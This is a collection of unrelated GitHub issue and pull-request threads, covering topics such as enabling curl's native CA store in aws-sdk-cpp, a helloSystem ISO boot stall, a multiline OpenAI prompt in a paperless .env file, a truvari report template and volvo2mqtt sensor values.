Support for setting CURLSSLOPT_NATIVE_CA on Windows

Describe the feature
(moved from discussion https://github.com/aws/aws-sdk-cpp/discussions/2724)
Pass CURLSSLOPT_NATIVE_CA to aws-sdk-cpp
Use Case
This might be an issue but it's also very likely this is possible and I just don't know how to do it.
I am using aws-sdk-cpp on Windows and have a custom build of OpenSSL and Curl. When I try to make an https request using Curl directly, I get the error:
 SSL peer certificate or SSH remote key was not OK

I can fix this by either setting a certificate with:
curl_easy_setopt(curl, CURLOPT_CAINFO, "cacert.pem");

(Where "cacert.pem" is one I grabbed from here).
Or I can use:
curl_easy_setopt(curl, CURLOPT_SSL_OPTIONS, CURLSSLOPT_NATIVE_CA);

Where CURLSSLOPT_NATIVE_CA states "Tell libcurl to use the operating system's native CA store for certificate verification" (see here for more info).
The problem with this option is I don't see a way to pass that through to AWS SDK. I can get things to work if I use:
Aws::Client::ClientConfiguration client_config;
client_config.region = "<my-region>";
client_config.caFile = "cacert.pem";

But it would be nice if I could just use the operating system's native CA store.
Is there a way to do this that I'm not seeing? I initialize Curl outside of aws-sdk-cpp and I've tried setting the property right after curl_global_init(CURL_GLOBAL_ALL);.
Something like...
curl_global_init(CURL_GLOBAL_ALL);

if (CURL* curl = curl_easy_init()) {
  curl_easy_setopt(curl, CURLOPT_SSL_OPTIONS, CURLSSLOPT_NATIVE_CA);
}

Aws::SDKOptions options;
options.httpOptions.initAndCleanupCurl = false;
Aws::InitAPI(options);

...

Aws::ShutdownAPI(options);
curl_global_cleanup();

But that unfortunately does not seem to work. If there's a way to do this I'd be really curious to know. Thank you!
Proposed Solution
Pass Curl option to aws-sdk-cpp at initialization time to use the operating system's native CA store.
Other Information
No response
Acknowledgements

[X] I may be able to implement this feature request
[ ] This feature might incur a breaking change

Hi @pr0g ,
There is a an abstract method on the Curl HTTP Client wrapper:
virtual void OverrideOptionsOnConnectionHandle(CURL*) const {}

You should be able to inherit the built-in Curl HTTP Client and then provide your implementation in this method. Please also refer to "Override the default HTTP client factory" in our documentation in order to make SDK to use your new customized client.
Best regards,
Sergey

Hi @SergeyRyabinin,
Thank you very much for getting back to me about this. This sounds like exactly what I was after! 🥳 Apologies I didn't spot this before.
I'll test this out soon and report back with how it went.
Thanks again very much for your help!

Closing for now, will reopen if needed, thanks again 👍

Just for completeness in case anyone else stumbles across this trying to do the same thing, this is what I used:
class CustomCurlHttpClient : public Aws::Http::CurlHttpClient
{
public:
  CustomCurlHttpClient(const Aws::Client::ClientConfiguration& client_config)
    : Aws::Http::CurlHttpClient(client_config) {}
private:
  void OverrideOptionsOnConnectionHandle(CURL* curl) const override {
    curl_easy_setopt(curl, CURLOPT_SSL_OPTIONS, CURLSSLOPT_NATIVE_CA);
  }
};

class CustomHttpClientFactory : public Aws::Http::HttpClientFactory
{
public:
  std::shared_ptr<Aws::Http::HttpClient> CreateHttpClient(
    const Aws::Client::ClientConfiguration& client_configuration) const override {
    return std::make_shared<CustomCurlHttpClient>(client_configuration);
  }
  virtual std::shared_ptr<Aws::Http::HttpRequest> CreateHttpRequest(
    const Aws::String& uri, Aws::Http::HttpMethod method,
    const Aws::IOStreamFactory& streamFactory) const override {
    return CreateHttpRequest(Aws::Http::URI(uri), method, streamFactory);
  }
  virtual std::shared_ptr<Aws::Http::HttpRequest> CreateHttpRequest(
    const Aws::Http::URI& uri, Aws::Http::HttpMethod method,
    const Aws::IOStreamFactory& streamFactory) const override {
    auto request =
      std::make_shared<Aws::Http::Standard::StandardHttpRequest>(uri, method);
    request->SetResponseStreamFactory(streamFactory);
    return request;
  }
};

...

// init time
Aws::SDKOptions options;
options.httpOptions.initAndCleanupCurl = false; // I call curl_global_init/curl_global_cleanup
options.httpOptions.httpClientFactory_create_fn = []() {
  return std::make_shared<CustomHttpClientFactory>();
};


Add Klaipeda State University of Applied Sciences

Official Website: https://www.kvk.lt/en/
IT related course Informatics: https://www.kvk.lt/en/studies/informatics/
URL for an email domain: http://mail.kvkedu.lt/

@AruVaitkus Pull request merged. Thank you!


Startup not reaching multi-user mode with hello-0C136-12.1-amd64.iso in VirtualBox

No progress beyond the last md1.uzip line.
Source:
MD5 (/tmp/cirrus-ci-build/artifacts/hello-0C136-12.1-amd64.iso) = d891e558df66ae7e93a444fc1f3e8967
Downloaded:
% md5 hello-0C136-12.1-amd64.iso
MD5 (hello-0C136-12.1-amd64.iso) = d891e558df66ae7e93a444fc1f3e8967
%

With EFI (not the default for FreeBSD-based guests), stalling at the same point:

With EFI (not the default for FreeBSD-based guests), stalling at the same point:

Scrolling to the previous page: is the ZFS warning significant in this case?

Down to the foot:

Scrolling to the previous page: is the ZFS warning significant in this case?

Down to the foot:

Possibly the 0C136 ISO is defective then. Please try a later one in the OC... series. (Bigger numbers = newer)

Possibly the 0C136 ISO is defective then. Please try a later one in the OC... series. (Bigger numbers = newer)

Possibly the 0C136 ISO is defective then. Please try a later one in the OC... series. (Bigger numbers = newer)

Possibly the 0C136 ISO is defective then. Please try a later one in the OC... series. (Bigger numbers = newer)

Thanks.
Not reproducible with EFI with more recent hello-0C139-12.1-amd64.iso.
Closing. Assuming that there'll also be no issue without EFI.

Thanks.
Not reproducible with EFI with more recent hello-0C139-12.1-amd64.iso.
Closing. Assuming that there'll also be no issue without EFI.

Yes, ~1/10 ISOs will have this issue. It's a known bug going back to the FuryBSD days, no one has found out so far what produces it or how to fix it. Probably some filesystem caching race condition. Throwing in some sync commands in build.sh seems to have mitigated the issue somewhat, but it is still there.

Yes, ~1/10 ISOs will have this issue. It's a known bug going back to the FuryBSD days, no one has found out so far what produces it or how to fix it. Probably some filesystem caching race condition. Throwing in some sync commands in build.sh seems to have mitigated the issue somewhat, but it is still there.

Broadening this, without reopening.
hello-0.3.0_0C160-FreeBSD-12.1-amd64.iso
Without EFI: the desktop environment appeared.
With EFI: wore than an hour after booting from the .iso, the status bar of the VirtualBox guest shows occasional optical disk activity.
The log tells a different story. Nothing beyond this, less than two minutes after boot:

00:01:08.253678 PIIX3 ATA: Ctl#1: finished processing RESET

VBox.log

Broadening this, without reopening.
hello-0.3.0_0C160-FreeBSD-12.1-amd64.iso
Without EFI: the desktop environment appeared.
With EFI: wore than an hour after booting from the .iso, the status bar of the VirtualBox guest shows occasional optical disk activity.
The log tells a different story. Nothing beyond this, less than two minutes after boot:

00:01:08.253678 PIIX3 ATA: Ctl#1: finished processing RESET

VBox.log

https://github.com/helloSystem/ISO/issues/102 (closed) for more detail, including a backtrace (in a photograph of a kernel panic).

https://github.com/helloSystem/ISO/issues/102 (closed) for more detail, including a backtrace (in a photograph of a kernel panic).


Error when I launch the commande

Hi,
When I launch the basic commande : npm-windows-updrade and say Yes I have this error :
undefined:1
♀
^
SyntaxError: Unexpected token ♀
at Object.parse (native)
at C:\Users\a.huc\AppData\Roaming\npm\node_modules\npm-windows-upgrade\bin\npm-windows-upgrade:79:17
at ChildProcess.exithandler (child_process.js:742:7)
at ChildProcess.emit (events.js:110:17)
at maybeClose (child_process.js:1015:16)
at Process.ChildProcess._handle.onexit (child_process.js:1087:5)
How can I correct it ?

Thanks for reporting! I have no idea what's going on here, but we're talking to the PowerShell Team and hoping that we'll figure it out :+1:

Well, we have no clue what's going on. If anyone has any idea what I should even look for, I'd appreciate the help.

Closing this for now, as nobody else reported it - and I have no idea what it could possible be.


*Texts are concatenated

Describe the bug
Settings e.g. NextText will be concatenated with hard coded value
To Reproduce
Steps to reproduce the behavior:
Set NextText="Next"
Expected behavior
Title should say "Next" but it says "NextGo to next page"

How are you setting the text? - and what version are you on?
The example solution has the following (with slight modifications) - and it seems to work:
    <BlazorPager<EMAIL_ADDRESS><EMAIL_ADDRESS>                VisiblePages="3"                  ShowFirstLast="true"                  ShowPageNumbers="true"                  FirstText="«"                  LastText="»"                  NextText="This is a test?"                  PreviousText="‹"                   OnPageChanged="(async e => { _page = e; await GetData();})">     </BlazorPager>

I have the same issue and the version I'm using is 0.2.16. You just hard-coded it in BlazorPagination.razor and changing it via NextText="Next" and PreviousText="Prev" only concatenates both values.

Does anyone know how to change the title of the buttons to go back and forth pages?


Make the prompt easily customizable

Hi!
I use your script with a customized prompt.
In orde to keep you script up to date without loosing my custom prompt, it would be great if the prompt could be externally set via environment variable or an external text file.
What do you think ?

Ok, I just realized that you have already updated your script for that yesterday.
Thanks!

Ah, yes @grostim . This variable isn't documented yet though. I will add a note in the README about this environment variable.

https://github.com/sjafferali/paperless-titles-from-ai/blob/main/.env_example#L13-L14 👍

I have problems using the .env OVERRIDE_PROMPT with a multiline prompt.
I get error message:
[2024-05-07 12:07:00,697] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 14
[2024-05-07 12:07:00,699] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 15
[2024-05-07 12:07:00,701] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 16
[2024-05-07 12:07:00,702] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 18
[2024-05-07 12:07:00,704] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 19
[2024-05-07 12:07:00,706] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 20
[2024-05-07 12:07:00,708] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 21
[2024-05-07 12:07:00,710] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 22
[2024-05-07 12:07:00,711] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 23
[2024-05-07 12:07:00,713] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 24
[2024-05-07 12:07:00,715] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 25
[2024-05-07 12:07:00,717] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 26
[2024-05-07 12:07:00,718] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 27
[2024-05-07 12:07:00,719] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 29
[2024-05-07 12:07:00,721] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 30
[2024-05-07 12:07:00,722] [WARNING] [paperless.consumer] Python-dotenv could not parse statement starting at line 33

Is there a specific syntaxt to allow the setup of a multiline prompt ?

@grostim The python-dotenv docs have some examples for multiline variables. Below is the .env file for a multiline prompt I tested out.
# your api key
OPENAI_API_KEY='sk-KEY'

# what model to use, recommended gpt-3.5-turbo or gpt-4-turbo
OPENAPI_MODEL='gpt-4-turbo'

# the url to your paperless endpoint
PAPERLESS_URL="http://paperless.local"

# your api key
PAPERLESS_API_KEY="MYKEY"

# uncomment if you want to override the default prompt used to generate responses
OVERRIDE_PROMPT='You are a AI model that is responsible for analyzing OCR text from scanned documents and generating titles
for those documents that can be used in our digital archiving system. Your response should ONLY be based on the given context and follow the response guidelines and format instructions.

===Response Guidelines
1. If the provided ocr data has content that can be interpreted, please generate a valid title that best describes the document without providing an explaination. Otherwise provide an explanation and generate a random title using the current date.
2. Format the query before responding.
3. Always respond with a valid well-formed JSON object without any additional information or formatting.
4. Generated title should all be lowercase.
5. Generated title should not contain spaces.
6. Generated title should not contain special characters.
8. Generated title should not contain slashes.
9. The maximum length of the title should be 32 characters.
10. For any documents that is a tax related document, ensure to include the year in the title.
11. No additional formatting should be applied to the response.

===Input
The current date is always going to be the first date in the context. The rest of the context is the truncated OCR text from the scanned document.

===Response Format
{"title": "A valid title.", "explanation": ""}
'

# uncomment if you want to enable dry runs which will only log changes that would be made
# DRY_RUN="false"

The errors reported do not occur using the above format. Give that format a try. If you are still experiencing issues, please provide a .env file with the format you are trying for this variable.


Do not know why？

First time playing with this, don't know where the problem is
Dev     normal
Build   error

Maybe you need to learn some basic Typescript knowledge

just remove astro check in package.json

Don't run astro check for now, as the project won't pass it due to:

My TypeScript skills suck.
The package astro-icon used in the project only accepts numbers for the size parameter, but I do need to use strings here. There’s already a PR to allow strings but it hasn’t been merged yet.

Okay, I found a workaround for this 96223c0b5a4f7ed8eb88bfb876e85af58cf9ebad. The astro check should no longer fail now.


Access Token missing or malformed

After using the AAD tool with much success for the past four months, we have found we now get the following error.
nvoke-RestMethod : {"odata.error":{"code":"Authentication_MissingOrMalformed","message":{"lang":"en","value":"Access Token missing or malformed."}}}
At C:\Chaz\ToolBox\Devops\Atlas-Infrastructure\src\scripts\AzureMgmt\AADTool\Common.ps1:43 char:13

return (Invoke-RestMethod $uri -Method $method -Headers $headers  ...

        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException
FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand
WARNING: Web Application Creation Failed

I have already updated to the latest DLL, although I'm not sure why this wasn't updated in the last commit?

@crpub86 Thank you for your query. I understand that you have closed this issue. Could you please let us know in case you were able to get this fixed ? We request you to provide the document link which you were following while any error is seen in future . It will be of great help and we will be able to redirect your issue to the right people.
Thank you.

Hi
I created it in the wrong area, moved it to here:
https://github.com/robotechredmond/Azure-PowerShell-Snippets/issues/14
On Fri, Jul 19, 2019 at 12:15 AM ShashiShailaj-MSFT <
<EMAIL_ADDRESS>wrote:

@crpub86 https://github.com/crpub86 Thank you for your query. I
understand that you have closed this issue. Could you please let us know in
case you were able to get this fixed ? We request you to provide the
document link which you were following while any error is seen in future .
It will be of great help and we will be able to redirect your issue to the
right people.
Thank you.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/MicrosoftDocs/azure-docs/issues/35390?email_source=notifications&email_token=AMUWCXYLIGL7KTROUTS5MU3QAB3IXA5CNFSM4IEZN3HKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD2ITV4Q#issuecomment-512834290,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AMUWCX2FVUH7MG2P3D3LKNTQAB3IXANCNFSM4IEZN3HA
.

--
Regards
C.


template not working properly

I get this output in my template sheet:
True Positives | 2,795
False Negatives | 1,404
False Positives | 77
Precision | None
Recall | /gold/HG002_DEL_Tier1_v0.6.vcf.gz
F1 | 97.32%

The wrong cells are Precision and Recall. I am using truvari version 2.0.2, and using the path to the template given at the wiki:
https://docs.google.com/spreadsheets/d/1T3EdpyLO1Kq-bJ8SDatqJ5nP_wwFKCrH0qhxorvTVd4/edit?usp=sharing
It seems Precision should use $RawData.B181 and Recall $RawData.B182

I'm unable to recreate this issue. Could you double check that your copy/paste of the giab_report.txt was successful? If so, could you attach the giab_report.txt so that I can examine it?
Attached is a random report file I used that didn't have this issue. You could also compare your giab_report against this one.
giab_report.txt

Thanks @ACEnglish , seems I must have accidentally used an old template in my script. Sorry for the inconvenience, and thank you for the excellent tool!

Hi Adam,
I'm experiencing a similar issue with the current version of Truvari (2.0.2) installed via pip.
As described in the wiki, I made a copy of the Truvari Report Template. Then, I pasted the content of my giab_report.txt into Cell A3 of the Raw Data tab. While most of the values in the Formatted tab look fine there are several problems:

The first section about the number of filtered calls does not make any sense because it retrieves the values from RawData!B173 through RawData!B178 which for my file points to different values: TP-base_TP-gt, TP-call, TP-call_FP-gt, TP-call_TP-gt, base cnt, call cnt.
In the second section, the Precision and Recall retrieve their values from RawData!B180 and RawData!B181 which for my file points to gt_f1, gt_precision.
Similarly, the section "Genotypes" retrieves the values from RawData!B205 and the following which for my file points into the middle of the Args section of the giab_report.txt

I compared my giab_report.txt to the one you provide above and both files are similar. When I paste the content of your file into the template it yields the same result.
Do you have any idea what might be the problem? Which template have you been testing with?
Best
David

Hi Adam,
I'm experiencing a similar issue with the current version of Truvari (2.0.2) installed via pip.
As described in the wiki, I made a copy of the Truvari Report Template. Then, I pasted the content of my giab_report.txt into Cell A3 of the Raw Data tab. While most of the values in the Formatted tab look fine there are several problems:

The first section about the number of filtered calls does not make any sense because it retrieves the values from RawData!B173 through RawData!B178 which for my file points to different values: TP-base_TP-gt, TP-call, TP-call_FP-gt, TP-call_TP-gt, base cnt, call cnt.
In the second section, the Precision and Recall retrieve their values from RawData!B180 and RawData!B181 which for my file points to gt_f1, gt_precision.
Similarly, the section "Genotypes" retrieves the values from RawData!B205 and the following which for my file points into the middle of the Args section of the giab_report.txt

I compared my giab_report.txt to the one you provide above and both files are similar. When I paste the content of your file into the template it yields the same result.
Do you have any idea what might be the problem? Which template have you been testing with?
Best
David


Return abbreviations for origin

Hi, thanks a lot for writing these helpers! They are very useful. I am just starting to use them, so I'm sorry if I am overlooking the obvious.
I noticed that the only way to get the "short" names (like "asl") for orientation back is by a string join operation.
sc = bg.SpaceConvention("asl")  # origin for the stack to be plotted
print(''.join(sc.origin))
# asl

It would be great I think if you could just return "asl" directly as property from the sc class.

Sure, I can an origin_short or similarly named (ideas) property for it!

That would be great!


[Task] fulfill PlainPermissionManager test case

Currently, some methods in PlainPermissionManager do not have the corresponding test case in PlainPermissionManagerTest. such as
createAclAccessConfigMap, updateAclConfigFileVersion, updateGlobalWhiteAddrsConfig, deleteAccessConfig.
Does anyone want to fulfill it?

Hi! I would love to help out for this. This is my first time working on an open source project. Is there a reference I can consult for building these test cases?

Hi! I would love to help out for this. This is my first time working on an open source project. Is there a reference I can consult for building these test cases?

Great, u can refer PlainPermissionManagerTest, it already contains some test case, and u can just add these test case in PlainPermissionManagerTest.

@ShahRishi https://rocketmq.apache.org/docs/pull-request/
this article maybe helpful.

Thank you!

Sorry, this is a bit advanced for me. I think it will be better if someone else does this task, ask I'm not making too much progress.


Allow running a shell command like shell_gpt

https://github.com/TheR1D/shell_gpt has a nice sgpt -s 'print me the size of all the files in the src/ dir' which then offers to execute, describe (or cancel) the command returned by chat-gpt, it's very convenients for one-off (and caches the results to rerun them multiple times without hitting the API)
also nice with --editor to create the prompt in an editor
similarly https://github.com/KillianLucas/open-interpreter allows running arbitrary code, and could be a nice integration with the beautiful charm UI

As for --editor part you can mimic this flag yourself with such oneliner:
tempfile="$(mktemp)" && $EDITOR "$tempfile" && cat "$tempfile" | mods -P

Just put it in some memorable alias and you're good to go.

if you run mods with no args, it'll open an editor (since a couple of versions ago)

if you run mods with no args, it'll open an editor (since a couple of versions ago)

That's true - I'm just not a fan of alt-enter as a line breaker so it's easier for me to use vim anyway.

Nice, I didn't know this.


Refactor folder -> submission

Description

It's confusing to have two different words to represent the same thing. This PR aims to unify the terminology regarding a submission in metadata-submitter, refactoring the word  folder to submission.
This is quite a large change, but no functionality should have changed. The biggest change is that the /folder endpoint changed to /submission.
There was already a file called submission.py, and it was renamed to xml_submission.py so that folder.py could be renamed to submission.py.
Related issues

Closes #411

Type of change

[x] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Changes Made

/folder endpoint is now /submission
Refactor folder -> submission

Renaming process

File / python module renamed: .submission -> .xml_submission
Python class renamed: SubmissionAPIHandler -> XMLSubmissionAPIHandler
File / python module renamed: .folder -> .submission
Word replacedfolder -> submission
Word replaced SubmissionSubmission -> Submission

Then manual checking which folders were actually system folders. Hopefully I didn't miss any.
Testing

[x] Tests do not apply

Mentions

Frontend e2e tests are passing in the frontend PR https://github.com/CSCfi/metadata-submitter-frontend/pull/807.


Toolbar i18n

Purpose or Intent:
Find a way to do proper i18n on interpolated strings in toolbar buttons.
Problem:
Currently i18n does not work for toolbar strings with interpolation. The strings contain interpolation of controller variables that is expanded via eval the result is passed through gettext. The interpolations include calls to ui_lookup. As result, these produce correct result only for English and only by accident.
Howto fix it:

Collect the correct strings for the catalog. According to the i18n gudelines.
The translation needs to be done at render time with the proper locale set.
The controller variables and ui_lookup* calls need to be evaluated with the proper locale in the proper context.

TODO:

convert all toolbars -- might be better with separate PRs
remove eval calls
update catalogs

some extra controller variables that are not propagated to button: msg_title gtl_url ems content compare_db
to add those edit def _toolbar_builder in app/helpers/application_helper.rb
probably best done when converting those buttons unless you manage to get rid of the use of that variable.

Backported to Darga via https://github.com/ManageIQ/manageiq/pull/9744


Enable uri schemes

This attaches jdtls to views with a jdt: URI scheme. Depends on https://github.com/sublimelsp/LSP/pull/1758

... and 1ccb871 defines on_open_uri_async to handle jdt: with the custom java/classFileContents request.

Not sure if it actually works. Just went ahead with this given the code in LSP-Deno. Someone with access to a debugger would have to verify this working.

Something does not work as expected:

This seems like a Debugger issue (maybe @daveleroy can help with this).

I guess if you only have an URI in the debugger, you can't actually open it via the session.open_location_async machinery. We would need a window command for that.

Given a path in the stackTrace response:
'path': 'jdt://contents/java.base/java.lang/Thread.class?=jdt.ls-java-project/D:%5C/Local_Repositories%5C/windows-dev-tools%5C/bins%5C/jdk%5C/lib%5C/jrt-fs.jar%60java.base=/javadoc_location=/https:%5C/%5C/docs.oracle.com%5C/en%5C/java%5C/javase%5C/15%5C/docs%5C/api%5C/=/%3Cjava.lang(Thread.class'

you then need to invoke the ST view command
lsp_open_location

with arguments
{
    "location":
    {
        "uri": "jdt://contents/...",
        "range":
        {
            "start":
            {
                "line": 841,  // not sure if DAP is 1-based or 0-based; LSP is 0-based.
                "character": 1 // not sure if DAP is 1-based or 0-based; LSP is 0-based.
            },
            "end":
            {
                "line": 841, // not sure if DAP is 1-based or 0-based; LSP is 0-based.
                "character": 1 // not sure if DAP is 1-based or 0-based; LSP is 0-based.
            }
        }
    },
    "session_name": "jdtls"
}

This invocation should be done from within the DAP package.


Data preparation Method '__delitem__' is not supported.

Hi,
I was trying to get the data prep working... when running the following step I get an error:
from hftbacktest.data.utils import create_last_snapshot

# Build 20230404 End of Day snapshot. It will be used for the initial snapshot for 20230405.
data = create_last_snapshot('btcusdt_20230404.npz', tick_size=0.01, lot_size=0.001)
np.savez('btcusdt_20230404_eod.npz', data=data)

# Build 20230405 End of Day snapshot.
# Due to the file size limitation, btcusdt_20230405.npz does not contain data for the entire day.
create_last_snapshot(
    'btcusdt_20230405.npz',
    tick_size=0.01,
    lot_size=0.001,
    initial_snapshot='btcusdt_20230404_eod.npz',
    output_snapshot_filename='btcusdt_20230405_eod'
)

results in:
TypeError: Failed in nopython mode pipeline (step: native lowering)
Method '__delitem__' is not supported.

Could you provide the versions of hftbacktest, Python, and numba that you're using?

I change the numba version from 0.57 to 0.56 and it worked for me

Thanks - newer to python... thought I had 0.56 installed but it was 0.57
All good!


Big product/sum signs looks funny

Attach (recommended) or Link to PDF file here:
itila.pdf
Configuration:

Web browser and its version: firefox 59.0.1 (64-bit)
Operating system and its version: ubuntu linux 16.04
PDF.js version: the one built in to firefox
Is a browser extension: it is built in

Steps to reproduce the problem:

open http://www.inference.org.uk/itprnn/book.pdf (attached above for convenience)
go to page 349 (it is the page that has the number 337 in the text itself)

What is the expected behavior? (add screenshot)
Notice the big product sign in equation 26.15 here for reference. And the inline big sum sign just below (Z=\sum ...).
(rendered by evince; evince --version "GNOME Document Viewer 3.10.3")

What went wrong? (add screenshot)
The big product sign in equation 26.15 looks weird. Also the inline big sum sign looks weird. The sum and product signs look weird on the next page too (and throughout the book integral signs and big brackets and big square roots look funny too)

Note: it looks correct on http://mozilla.github.io/pdf.js/web/viewer.html in chromium Version 64.0.3282.167 (Official Build) Built on Ubuntu , running on Ubuntu 16.04 (64-bit).

And it looks incorrect on http://mozilla.github.io/pdf.js/web/viewer.html in the same firefox as the original report. So it seems to be something firefox-specific.

And it looks incorrect on http://mozilla.github.io/pdf.js/web/viewer.html in the same firefox as the original report. So it seems to be something firefox-specific.

This issue looks, on the face of it, like another duplicate of #2594. However, that one was fixed all the way back in 2016 and https://github.com/mozilla/pdf.js/issues/9602#issuecomment-375950372 was posted more than a year later.
In closing though, I cannot image this being a problem after PR #9340 since all glyphs are now re-mapped to the Private Use Area (which ought to exclude them from any auto-hinting routines).

Closing until we receive more information that this still happens with the latest version.


Upload report to cloud

Added a new command (upload-report) that uploads the report to to an S3 or a GCS bucket.

@IDoneShaveIt I've applied your great suggestions! Please feel free to re-review when you have the time.


[BEAM-6335] Test GBK streaming reading SyntheticSources

Test that reads SyntheticSources from PubSub in streaming mode in Python SDK. Test parses data and runs group by key and ungroup. Test stops when a pubsub matcher reaches timeout or there was enough data arrived to output PubSub topic.

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[x] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

Run Python PreCommit

@markflyhigh @Ardagan could you take a look? cc: @pabloem


Better Declarative Host Manipulation

Description

Who: Developers who code declaratively
What: Be able to declaratively set event listeners and styles on host
Why: Declarative code is great and for northstar transformations
Description:

I would like better declarative host manipulation. Often you need to set lots of event listeners on host or even set an inline style on host e.g. transform: translate(x, y). It would be nice to have a declarative way to do this with things such as stylemap or listenermap or something. Perhaps another method alongside render and first render that gets called on each / first render cycle etc.
Or for event listeners maybe even a TS decorator that takes in event name and event options and passes the proper type to the event listener based on the event name.
Acceptance criteria
Be able to set an event listener and a style declaratively on host

Converted to an rrfc since it needs a proposal.


Ability to specify numbered list format

First of all Thank You for such a great library!
Would you please advise on how hard would be to extend "bullet options" to allow to specify numbered list format?
At the moment all we can do is to specify that list is numbered, but we can't change which chars it will be using:
{
    bullet: {
        type: 'number'
    }
}

In particular I need to built something like:

indentLevel already allows to set indent, but "child" lists are using the same numbering format

That's actually pretty easy to do!

Source: (http://officeopenxml.com/drwSp-text-paraProps-numbering.php)[http://officeopenxml.com/drwSp-text-paraProps-numbering.php]
Example:
bullet: { type: 'number', style: 'romanLcPeriod' }

Hi @mayvazyan
Thanks for the request.
This feature has been added to the upcoming 3.0 release.

@gitbrent latest pptgen supports only arabicPeriod (https://github.com/gitbrent/PptxGenJS/blob/1263b148178fd9b0bbadff7b69cfe2bf7390c189/dist/pptxgen.js#L4209). It looks like some regression to code in pull #555
Is there a chance to bring this feature back?

Version 3.0 supports any type of bullet.


Update gradle.build to fix builderror: 403 Forbidden

Build error issues

Thank you for your contribution!
I will make a bit modification based on your source codes (branch quangctkm9207:develop) for completing CircleCI build.


CDPT-2369 Make php-fpm container fs read only.

This PR makes the filesystem of the php-fpm container readonly.
It also adds various security contexts to improve security of the pods.

@EarthlingDavey LGTM!
One tiny typo and a question regarding the removal of the uploads directory.


Add new entities

What would be interesting is to have additional entities:
all windows are closed
all doors including the tailgate are closed.
average fuel consumption.

sunroof opened or closed
After that, having the option of remotely closing the windows and sunroof ... but that's not possible :)

All Windows, doors and tailgate are already supported. For average fuel consumption there is no API endpoint. Closing and opening windows isn't possible, sorry....

All Windows, doors and tailgate are already supported. For average fuel consumption there is no API endpoint. Closing and opening windows isn't possible, sorry....
EDIT: Average fuel consumption seems to be available via the statistics endpoint.

Because you didn't fill out the issue template, I have to ask extra: are you using the addon or is your volvo2mqtt running in a separate docker container ?

Please test v1.5.1

Sunroof works starting version 1.5.4, confirmed by XC90 with sunroof owner.

Sunroof works ! thnak you :)
In 1.5.5, the average fuel consumption seems to be wrong.
On my XC40 the datat is 0,9 liters but the correct data has to be 9 liters.

Can you please enable debug and send me the raw API response from the statistics endpoint ?

With v1.5.6 you can adjust your multiplier value for average fuel consumption. Please test, as I can't test it...

Hello,
Thank you.
It seems with this version the module can't launch.
I didn't change any parameters.
s6-rc: info: service s6rc-oneshot-runner: starting
s6-rc: info: service s6rc-oneshot-runner successfully started
s6-rc: info: service fix-attrs: starting
s6-rc: info: service fix-attrs successfully started
s6-rc: info: service legacy-cont-init: starting
s6-rc: info: service legacy-cont-init successfully started
s6-rc: info: service legacy-services: starting
s6-rc: info: service legacy-services successfully started
Starting volvo2mqtt version v1.5.6
Traceback (most recent call last):
File "/volvoAAOS2mqtt/./main.py", line 10, in
authorize()
File "/volvoAAOS2mqtt/volvo.py", line 48, in authorize
get_vehicles()
File "/volvoAAOS2mqtt/volvo.py", line 90, in get_vehicles
raise Exception("Error getting vehicles: " + str(vehicles.status_code))
Exception: Error getting vehicles: 403
s6-rc: info: service legacy-services: stopping
s6-rc: info: service legacy-services successfully stopped
s6-rc: info: service legacy-cont-init: stopping
s6-rc: info: service legacy-cont-init successfully stopped
s6-rc: info: service fix-attrs: stopping
s6-rc: info: service fix-attrs successfully stopped
s6-rc: info: service s6rc-oneshot-runner: stopping
s6-rc: info: service s6rc-oneshot-runner successfully stopped

This has nothing to do with v1.5.6. The addon can't get your vehicles from API. Please check your vccapikey. Maybe you have done already 10.000 calls this day ?

I don't understand, I haven't changed the configuration settings and my vccapikey key hasn't changed.
How do I know if I've made more than 10,000 calls?

Just look in your developer account

oh you are right !
Requests today: 10 018 out of 10 000
It is because i set update interval to 15.
Thank you
I have to wait tomorow.

Or just create a new app inside the developer center and change the vccapitoken in volvo2mqtt

The value "Distance to Empty" is not correct.
If i have a real value of 40km on the car, but the value on the entity is 40 000km.
I tried to change the parameter "odometerMultiplier" to 0,001  or 0.001 to have 40km, but it seems that decimal points are not accepted.
I hope that you understand my porr english ... :)

Please open a new issue and provide some infos and logs about your setup.


bump actions limit

bump actions limit once https://github.com/MinaProtocol/mina/pull/12981 hits

It has been hit! :D

@shimkiv let's include a high action limit test


Removing old installation eggs

I can across a difficulty recently in updating pyam from master.
When importing it in jupyter notbeook it was finding the wrong old version despite attempts to install with pip and setup.py
More inspection revealed two things:

That there was a nest of old eggs in the site-packages folder of the environment,
that my sys.path also had these old eggs specifically listed, in chronological order, so it was always finding the oldest version first.

Is it expected behaviour that the old eggs stay in site-packages when updates are installed? is it necessary to keep them, otherwise removing them could reduce chance of errors

e.g.

BTW - removing said items from path and the folders from the dir fixes the issue

